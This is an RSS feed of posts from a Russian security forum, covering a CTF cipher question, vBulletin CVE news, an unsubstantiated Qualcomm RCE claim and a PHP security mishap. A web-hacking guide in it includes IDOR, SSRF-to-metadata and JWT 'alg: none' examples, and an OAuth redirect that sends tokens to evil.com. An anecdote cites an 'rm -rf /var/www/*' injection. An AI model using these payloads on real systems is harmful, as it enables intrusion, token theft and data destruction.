<?xml version="1.0" encoding="UTF-8"?>        <rss version="2.0"
             xmlns:atom="http://www.w3.org/2005/Atom"
             xmlns:dc="http://purl.org/dc/elements/1.1/"
             xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
             xmlns:admin="http://webns.net/mvcb/"
             xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
             xmlns:content="http://purl.org/rss/1.0/modules/content/">
        <channel>
            <title>
									Веб-разработка &amp; Уязвимости - HackExpert.ru Форум				            </title>
            <link>https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/</link>
            <description>HackExpert.ru Доска обсуждений</description>
            <language>ru-RU</language>
            <lastBuildDate>Tue, 27 Oct 2026 09:35:27 +0000</lastBuildDate>
            <generator>wpForo</generator>
            <ttl>60</ttl>
							                    <item>
                        <title>Ищу совета по анализу самописного шифра в CTF-задаче</title>
                        <link>https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/%d0%b8%d1%89%d1%83-%d1%81%d0%be%d0%b2%d0%b5%d1%82%d0%b0-%d0%bf%d0%be-%d0%b0%d0%bd%d0%b0%d0%bb%d0%b8%d0%b7%d1%83-%d1%81%d0%b0%d0%bc%d0%be%d0%bf%d0%b8%d1%81%d0%bd%d0%be%d0%b3%d0%be-%d1%88%d0%b8%d1%84/</link>
                        <pubDate>Thu, 06 Nov 2025 06:18:36 +0000</pubDate>
                        <description><![CDATA[Всем привет,
Застрял на одной CTF-задаче (речь о легальных соревнованиях Capture The Flag) и нужна помощь сообщества, чтобы двигаться дальше. Речь идет о реверс-инжиниринге небольшой самопи...]]></description>
                        <content:encoded><![CDATA[<p class="ds-markdown-paragraph"><span>Всем привет,</span></p>
<p class="ds-markdown-paragraph"><span>Застрял на одной CTF-задаче (речь о легальных соревнованиях Capture The Flag) и нужна помощь сообщества, чтобы двигаться дальше. Речь идет о реверс-инжиниринге небольшой самописной программы на C++, которая использует кастомный алгоритм шифрования.</span></p>
<p class="ds-markdown-paragraph">Что я уже сделал: <span>Декомпилировал бинарник с помощью Ghidra. </span><span>Выделил ключевые функции, отвечающие за кодирование и проверку флага. </span><span>Попытался проанализировать логику алгоритма — похоже, он использует XOR с динамически генерируемой ключевой последовательностью, основанной на текущем индексе символа. Логика генерации ключа запутанная. Кажется, там используется псевдослучайный генератор с состоянием, которое обновляется после каждого символа. Мой брутфорс по пространству ключей ни к чему не привел.</span></p>
<p class="ds-markdown-paragraph"><span>Есть ли у кого-нибудь опыт анализа подобных "кастомных" криптосистем?</span></p>
<p class="ds-markdown-paragraph"><span>Какие инструменты или методы, кроме статического анализа в Ghidra, могут быть полезны? Может, стоит попробовать динамический анализ с </span><code>gdb</code><span> с скриптами для дампа состояния памяти?</span></p>
<p class="ds-markdown-paragraph"><span>Может, я упускаю что-то очевидное в арифметических операциях?</span></p>
<p>Буду рад если кто поможет.</p>]]></content:encoded>
						                            <category domain="https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/">Веб-разработка &amp; Уязвимости</category>                        <dc:creator>RNM</dc:creator>
                        <guid isPermaLink="true">https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/%d0%b8%d1%89%d1%83-%d1%81%d0%be%d0%b2%d0%b5%d1%82%d0%b0-%d0%bf%d0%be-%d0%b0%d0%bd%d0%b0%d0%bb%d0%b8%d0%b7%d1%83-%d1%81%d0%b0%d0%bc%d0%be%d0%bf%d0%b8%d1%81%d0%bd%d0%be%d0%b3%d0%be-%d1%88%d0%b8%d1%84/</guid>
                    </item>
				                    <item>
                        <title>vBulletin обнаружили уязвимости</title>
                        <link>https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/vbulletin-%d0%be%d0%b1%d0%bd%d0%b0%d1%80%d1%83%d0%b6%d0%b8%d0%bb%d0%b8-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/</link>
                        <pubDate>Sun, 31 Aug 2025 06:00:08 +0000</pubDate>
                        <description><![CDATA[В форумном движке vBulletin обнаружили сразу две критические уязвимости, одна из которых уже применяется в реальных атаках.
Проблемы получили идентификаторы CVE-2025-48827 и CVE-2025-48828,...]]></description>
                        <content:encoded><![CDATA[<p>В форумном движке vBulletin обнаружили сразу две критические уязвимости, одна из которых уже применяется в реальных атаках.</p>
<p>Проблемы получили идентификаторы CVE-2025-48827 и CVE-2025-48828, и обе получили 9 баллов из 10 возможных по шкале оценки уязвимостей CVSS. Уязвимости связаны с возможностью произвольно вызывать методы через API и удаленно выполнять произвольный код за счет эксплуатации движка шаблонов.</p>
<p>Баги затрагивают vBulletin версий от 5.0.0 до 5.7.5, а также от 6.0.0 до 6.0.3, если платформа работает на PHP 8.1 или более поздней версии.</p>
<p>Судя по всему, обе проблемы были тихо устранены еще в прошлом году, с выпуском Patch Level 1 для всех версий ветки 6.*, а также в Patch Level 3 для версии 5.7.5. Однако многие сайты по-прежнему остаются уязвимыми, так как на них не устанавливали обновления.</p>
<p>Обе уязвимости<span> </span>обнаружил и описал<span> </span>независимый ИБ-исследователь Эгидио Романо (Egidio Romano), также известный под ником EgiX. Специалист продемонстрировал, что корень проблемы заключается в некорректном использовании vBulletin PHP Reflection API, который позволяет вызывать защищенные методы без явного изменения их уровня доступа (после изменений, появившихся в PHP 8.1).</p>
<p>Эксплуатация уязвимостей строится вокруг возможности вызова защищенных методов через специально созданные URL-адреса, а также ошибок при обработке шаблонов.</p>
<p>Используя уязвимый метод replaceAdTemplate, атакующий может внедрять специально сформированный код шаблона. При этом он может обойти фильтры unsafe function, например, с помощью вызова функций через переменные в PHP. В результате это приведет к удаленному выполнению кода на сервере, по сути, предоставив хакеру шелл-доступ.</p>
<p>На прошлой неделе ИБ-специалист Райан Дьюхерст (Ryan Dewhurst)<span> </span>сообщил<span> </span>о первых попытках атак на CVE-2025-48827. Логи ханипота показали запросы к уязвимому эндпоинту ajax/api/ad/replaceAdTemplate.  Дьюхерст пишет, что сумел отследить одного из злоумышленников до Польши. Этот хакер пытался установить PHP-бэкдоры, чтобы иметь возможность выполнять системные команды.</p>
<p><img class="aligncenter size-full wp-image-516423" src="https://xakep.ru/wp-content/uploads/2025/06/516422/exploitation.jpg" alt="" width="1244" height="355" /></p>
<p>Исследователь отмечает, что атакующие используют эксплоит, опубликованный Романо, хотя шаблоны Nuclei для этих проблем тоже уже доступны. При этом пока нет признаков того, что хакерам уже удалось построить на базе CVE-2025-48827 полную RCE-цепочку.</p>]]></content:encoded>
						                            <category domain="https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/">Веб-разработка &amp; Уязвимости</category>                        <dc:creator>biZon</dc:creator>
                        <guid isPermaLink="true">https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/vbulletin-%d0%be%d0%b1%d0%bd%d0%b0%d1%80%d1%83%d0%b6%d0%b8%d0%bb%d0%b8-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/</guid>
                    </item>
				                    <item>
                        <title>Дыра в Qualcomm DSP на Android</title>
                        <link>https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/%d0%b4%d1%8b%d1%80%d0%b0-%d0%b2-qualcomm-dsp-%d0%bd%d0%b0-android/</link>
                        <pubDate>Sat, 23 Aug 2025 12:25:19 +0000</pubDate>
                        <description><![CDATA[Нашел жесть в Qualcomm DSP на Android. Оказывается, если отправить жертве голосовое в Telegram или WhatsApp с поддельным AAC-файлом, то можно выстрелить RCE прямо через уведомление в шторке ...]]></description>
                        <content:encoded><![CDATA[<p><span>Нашел жесть в Qualcomm DSP на Android. Оказывается, если отправить жертве голосовое в Telegram или WhatsApp с поддельным AAC-файлом, то можно выстрелить RCE прямо через уведомление в шторке файл декодируется автоматически, и всё, привет шелл с правами TrustZone! Уязвимость в libqcomvoiceprocessing, работает даже на свежих девайсах. PoC выложу в личку, чтобы не светить раньше времени. Кто шарит в анализе трафика подскажите, как детектить подобные атаки в сети? И да, если у кого есть дампы регистров из QCOM SDK кидайте в личку, поисследуем вместе. Патча, скорее всего, не будет для половины устройств, так что советую отключать авто-загрузку медиа в мессенджерах!</span></p>]]></content:encoded>
						                            <category domain="https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/">Веб-разработка &amp; Уязвимости</category>                        <dc:creator>Candy_Bober</dc:creator>
                        <guid isPermaLink="true">https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/%d0%b4%d1%8b%d1%80%d0%b0-%d0%b2-qualcomm-dsp-%d0%bd%d0%b0-android/</guid>
                    </item>
				                    <item>
                        <title>Гайд: Как находить и эксплуатировать уязвимости в современных веб-приложениях (2025 Edition)</title>
                        <link>https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/%d0%b3%d0%b0%d0%b9%d0%b4-%d0%ba%d0%b0%d0%ba-%d0%bd%d0%b0%d1%85%d0%be%d0%b4%d0%b8%d1%82%d1%8c-%d0%b8-%d1%8d%d0%ba%d1%81%d0%bf%d0%bb%d1%83%d0%b0%d1%82%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d1%82%d1%8c-%d1%83/</link>
                        <pubDate>Sun, 10 Aug 2025 14:30:02 +0000</pubDate>
                        <description><![CDATA[Если ты качаешь в веб-безопасности или просто хочешь научиться находить дыры в сайтах этот гайд для тебя. Разберём актуальные уязвимости 2025 года, методы их поиска и эксплуатации, а также к...]]></description>
                        <content:encoded><![CDATA[<p class="ds-markdown-paragraph">Если ты качаешь в веб-безопасности или просто хочешь научиться находить дыры в сайтах этот гайд для тебя. Разберём<span> </span>актуальные уязвимости 2025 года, методы их поиска и эксплуатации, а также как защититься от таких атак.</p>
<hr />
<h3><strong>&#x1f525; Топ-5 уязвимостей, которые всё ещё работают (и приносят бабло)</strong></h3>
<h4><strong>1. Insecure Direct Object References (IDOR)</strong></h4>
<p class="ds-markdown-paragraph"><strong>Что это:</strong><span> </span>Доступ к чужим данным через подмену ID в запросе (например,<span> </span><code>?user_id=123</code><span> </span>→<span> </span><code>?user_id=124</code>).<br /><strong>Где искать:</strong><span> </span>API, мобильные приложения, личные кабинеты.<br /><strong>Эксплуатация:</strong></p>
<div class="md-code-block md-code-block-light">
<div class="md-code-block-banner-wrap">
<div class="md-code-block-banner md-code-block-banner-lite">
<div class="_121d384">
<div class="d2a24f03"><span class="d813de27">http</span></div>
<div class="d2a24f03">
<div class="efa13877"> </div>
</div>
</div>
</div>
</div>
<pre contenteditable="false"><span class="token request-line"><span class="token method property">GET</span> <span class="token request-target url">/api/v1/profile?user_id=1337</span> <span class="token http-version property">HTTP/1.1</span></span>  
<span class="token header"><span class="token header-name keyword">Host</span><span class="token punctuation">:</span> <span class="token header-value">target.com  </span></span>
<span class="token header"><span class="token header-name keyword">Authorization</span><span class="token punctuation">:</span> <span class="token header-value">Bearer &lt;токен_жертвы&gt;  </span></span></pre>
</div>
<p class="ds-markdown-paragraph"><strong>Защита:</strong><span> </span>Валидация прав доступа на сервере.</p>
<h4><strong>2. Server-Side Request Forgery (SSRF)</strong></h4>
<p class="ds-markdown-paragraph"><strong>Что это:</strong><span> </span>Заставить сервер делать запросы во внутреннюю сеть (например, к AWS Metadata API).<br /><strong>Где искать:</strong><span> </span>Функции импорта URL, webhooks, PDF-генераторы.<br /><strong>Эксплуатация:</strong></p>
<div class="md-code-block md-code-block-light">
<div class="md-code-block-banner-wrap">
<div class="md-code-block-banner md-code-block-banner-lite">
<div class="_121d384">
<div class="d2a24f03"><span class="d813de27">http</span></div>
<div class="d2a24f03">
<div class="efa13877"> </div>
</div>
</div>
</div>
</div>
<pre contenteditable="false"><span class="token request-line"><span class="token method property">POST</span> <span class="token request-target url">/generate-pdf</span> <span class="token http-version property">HTTP/1.1</span></span>  
<span class="token header"><span class="token header-name keyword">Host</span><span class="token punctuation">:</span> <span class="token header-value">target.com  </span></span>
<span class="token header"><span class="token header-name keyword">Content-Type</span><span class="token punctuation">:</span> <span class="token header-value">application/json  </span></span>

{"url": "http://169.254.169.254/latest/meta-data/"}  </pre>
</div>
<p class="ds-markdown-paragraph"><strong>Защита:</strong><span> </span>Блокировка внутренних IP, использование allow-листов.</p>
<h4><strong>3. GraphQL Injection</strong></h4>
<p class="ds-markdown-paragraph"><strong>Что это:</strong><span> </span>Уязвимости в GraphQL-API (интроспекция, DOS через глубокие вложенные запросы).<br /><strong>Где искать:</strong><span> </span>Современные SPA, мобильные приложения.<br /><strong>Эксплуатация:</strong></p>
<div class="md-code-block md-code-block-light">
<div class="md-code-block-banner-wrap">
<div class="md-code-block-banner md-code-block-banner-lite">
<div class="_121d384">
<div class="d2a24f03"><span class="d813de27">graphql</span></div>
<div class="d2a24f03">
<div class="efa13877"> </div>
</div>
</div>
</div>
</div>
<pre contenteditable="false"><span class="token keyword">query</span> <span class="token punctuation">{</span>  
  <span class="token object">__schema</span> <span class="token punctuation">{</span>  
    <span class="token object">types</span> <span class="token punctuation">{</span> <span class="token property">name</span> <span class="token punctuation">}</span>  
  <span class="token punctuation">}</span>  
<span class="token punctuation">}</span>  </pre>
</div>
<p class="ds-markdown-paragraph"><strong>Защита:</strong><span> </span>Отключение интроспекции в продакшене, лимит глубины запросов.</p>
<h4><strong>4. JWT Misconfiguration</strong></h4>
<p class="ds-markdown-paragraph"><strong>Что это:</strong><span> </span>Подделка токенов из-за слабого алгоритма (например,<span> </span><code>"alg": "none"</code>).<br /><strong>Где искать:</strong><span> </span>Веб-приложения с авторизацией.<br /><strong>Эксплуатация:</strong></p>
<ol start="1">
<li>
<p class="ds-markdown-paragraph">Меняем<span> </span><code>HS256</code><span> </span>на<span> </span><code>none</code><span> </span>в заголовке.</p>
</li>
<li>
<p class="ds-markdown-paragraph">Удаляем подпись.</p>
</li>
<li>
<p class="ds-markdown-paragraph">Profit.<br /><strong>Защита:</strong><span> </span>Использовать только<span> </span><code>RS256</code>, проверять алгоритм на сервере.</p>
</li>
</ol>
<h4><strong>5. OAuth Misconfiguration</strong></h4>
<p class="ds-markdown-paragraph"><strong>Что это:</strong><span> </span>Кража токенов через открытые редиректы или поддельные callback-URL.<br /><strong>Где искать:</strong><span> </span>Вход через Google/Facebook/GitHub.<br /><strong>Эксплуатация:</strong></p>
<div class="md-code-block md-code-block-light">
<div class="md-code-block-banner-wrap">
<div class="md-code-block-banner md-code-block-banner-lite">
<div class="_121d384">
<div class="d2a24f03"><span class="d813de27">http</span></div>
<div class="d2a24f03">
<div class="efa13877"> </div>
</div>
</div>
</div>
</div>
<pre contenteditable="false"><span class="token header"><span class="token header-name keyword">https</span><span class="token punctuation">:</span><span class="token header-value">//oauth.target.com/auth?response_type=token&amp;redirect_uri=https://evil.com/callback  </span></span></pre>
</div>
<p class="ds-markdown-paragraph"><strong>Защита:</strong><span> </span>Фиксированный allow-list для<span> </span><code>redirect_uri</code>.</p>
<hr />
<h3><strong>&#x1f527; Инструменты для автоматического поиска</strong></h3>
<ul>
<li>
<p class="ds-markdown-paragraph"><strong>Burp Suite</strong><span> </span>(ручной аудит)</p>
</li>
<li>
<p class="ds-markdown-paragraph"><strong>OWASP ZAP</strong><span> </span>(автосканер)</p>
</li>
<li>
<p class="ds-markdown-paragraph"><strong>GraphQLmap</strong><span> </span>(для GraphQL-инъекций)</p>
</li>
<li>
<p class="ds-markdown-paragraph"><strong>JWT_Tool</strong><span> </span>(для взлома JWT)</p>
</li>
<li>
<p class="ds-markdown-paragraph"><strong>SSRF Sheriff</strong><span> </span>(поиск SSRF)</p>
</li>
</ul>
<hr />
<h3><strong>&#x1f4a1; Советы по пентесту</strong></h3>
<p class="ds-markdown-paragraph">&#x2705;<span> </span><strong>Всегда проверяй новые API</strong><span> </span>— там часто забывают про безопасность.<br />&#x2705;<span> </span><strong>Ищи неочевидные параметры</strong><span> </span>(например,<span> </span><code>?debug=true</code>).<br />&#x2705;<span> </span><strong>Тестируй мобильные приложения</strong><span> </span>— их API часто уязвимы.<br />&#x2705;<span> </span><strong>Используй автоматизацию, но не доверяй ей слепо</strong><span> </span>— ручной анализ важнее.</p>
<hr />
<h3><strong>&#x26a0;&#xfe0f; Legal Disclaimer</strong></h3>
<p class="ds-markdown-paragraph">Этот гайд только для образовательных целей и легального тестирования. Взлом без разрешения уголовное преступление.</p>]]></content:encoded>
						                            <category domain="https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/">Веб-разработка &amp; Уязвимости</category>                        <dc:creator>XlumiaX</dc:creator>
                        <guid isPermaLink="true">https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/%d0%b3%d0%b0%d0%b9%d0%b4-%d0%ba%d0%b0%d0%ba-%d0%bd%d0%b0%d1%85%d0%be%d0%b4%d0%b8%d1%82%d1%8c-%d0%b8-%d1%8d%d0%ba%d1%81%d0%bf%d0%bb%d1%83%d0%b0%d1%82%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d1%82%d1%8c-%d1%83/</guid>
                    </item>
				                    <item>
                        <title>Засадил RCE в продакшн ))</title>
                        <link>https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/%d0%b7%d0%b0%d1%81%d0%b0%d0%b4%d0%b8%d0%bb-rce-%d0%b2-%d0%bf%d1%80%d0%be%d0%b4%d0%b0%d0%ba%d1%88%d0%bd/</link>
                        <pubDate>Wed, 06 Aug 2025 11:17:53 +0000</pubDate>
                        <description><![CDATA[Привет, кодерам и пентестерам! &#x1f468;&#x200d;&#x1f4bb;&#x1f525; Тут такая дичь приключилась на прошлой неделе решил &quot;запатчить&quot; один веб-сервис на PHP (да-да, тот самый легаси-код, где my...]]></description>
                        <content:encoded><![CDATA[<p class="ds-markdown-paragraph">Привет, кодерам и пентестерам! &#x1f468;&#x200d;&#x1f4bb;&#x1f525; Тут такая дичь приключилась на прошлой неделе решил "запатчить" один веб-сервис на PHP (да-да, тот самый легаси-код, где mysql_connect() ещё живёт). Началось с безобидного аудита: нашёл кучу инклюдов с ../, SQL-инъекций в корзине и даже странный файл backup.php с хардкодным паролем "12345". Ну, думаю, ща всё починю!</p>
<p class="ds-markdown-paragraph"><strong>ШАГ 1: "Фикс" файловых инклюдов</strong><br />Заменил все include($_GET) на красивый switch-case с белым списком. Тест работает! Но забыл, что в 300-й строке есть ещё один include, который тянет файлы через file_get_contents()...</p>
<p class="ds-markdown-paragraph"><strong>ШАГ 2: Борьба с SQLi</strong><br />Поставил везде PDO, но в одном месте остался старый запрос вида:</p>
<div class="md-code-block md-code-block-light">
<div class="md-code-block-banner-wrap">
<div class="md-code-block-banner md-code-block-banner-lite">
<div class="_121d384">
<div class="d2a24f03"><span class="d813de27">php</span></div>
<div class="d2a24f03">
<div class="efa13877"> </div>
</div>
</div>
</div>
</div>
<pre contenteditable="false"><span class="token variable">$query</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"SELECT * FROM users WHERE id="</span> <span class="token operator">.</span> <span class="token variable">$_POST</span><span class="token punctuation"></span><span class="token punctuation">;</span> <span class="token comment">// "а тут и так сойдёт"</span></pre>
</div>
<p class="ds-markdown-paragraph">Решил "временно" заменить на intval()... и конечно, через неделю этот костыль задеплоили в прод.</p>
<p class="ds-markdown-paragraph"><strong>ШАГ 3: Эпик фейл</strong><br />А потом пришёл пентестер (читай злобный коллега) и за 5 минут вынес весь сервис: Через file_get_contents() прочитал /etc/passwd (путь не фильтровался). В том самом "исправленном" SQL нашёл SECOND-ORDER инъекцию оказалось, id позже пишется в кэш и снова подставляется в запрос. А backup.php? А он таки принимал shell-команды через параметр ?action=rm -rf /var/www/*</p>
<p class="ds-markdown-paragraph"><strong>Развязка:</strong></p>
<ul>
<li>
<p class="ds-markdown-paragraph">Полчаса даунтайма</p>
</li>
<li>
<p class="ds-markdown-paragraph">Восстановление из бэкапа (спасибо девопсам!)</p>
</li>
<li>
<p class="ds-markdown-paragraph">Позор на весь отдел</p>
</li>
<li>
<p class="ds-markdown-paragraph">И главный урок:<span> </span><strong>НЕ ПЫТАЙТЕСЬ ЧИНИТЬ БЕЗОПАСНОСТЬ НА ЖИВУЮ</strong></p>
</li>
</ul>
<p class="ds-markdown-paragraph"><strong>Советы от бывалого: </strong>Тестируйте фиксы локально даже если "оно же очевидно работает!". Ставьте WAF хотя бы для логирования атак (потом будете рыдать над логами). Если код выглядит как "лажа, но работает" лучше перепишите, а не латайте. Всегда держите под рукой алкоголь. Серьёзно.</p>]]></content:encoded>
						                            <category domain="https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/">Веб-разработка &amp; Уязвимости</category>                        <dc:creator>Hack_Limited</dc:creator>
                        <guid isPermaLink="true">https://hackexpert.ru/community/%d0%b2%d0%b5%d0%b1-%d1%80%d0%b0%d0%b7%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%ba%d0%b0-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8/%d0%b7%d0%b0%d1%81%d0%b0%d0%b4%d0%b8%d0%bb-rce-%d0%b2-%d0%bf%d1%80%d0%be%d0%b4%d0%b0%d0%ba%d1%88%d0%bd/</guid>
                    </item>
							        </channel>
        </rss>
		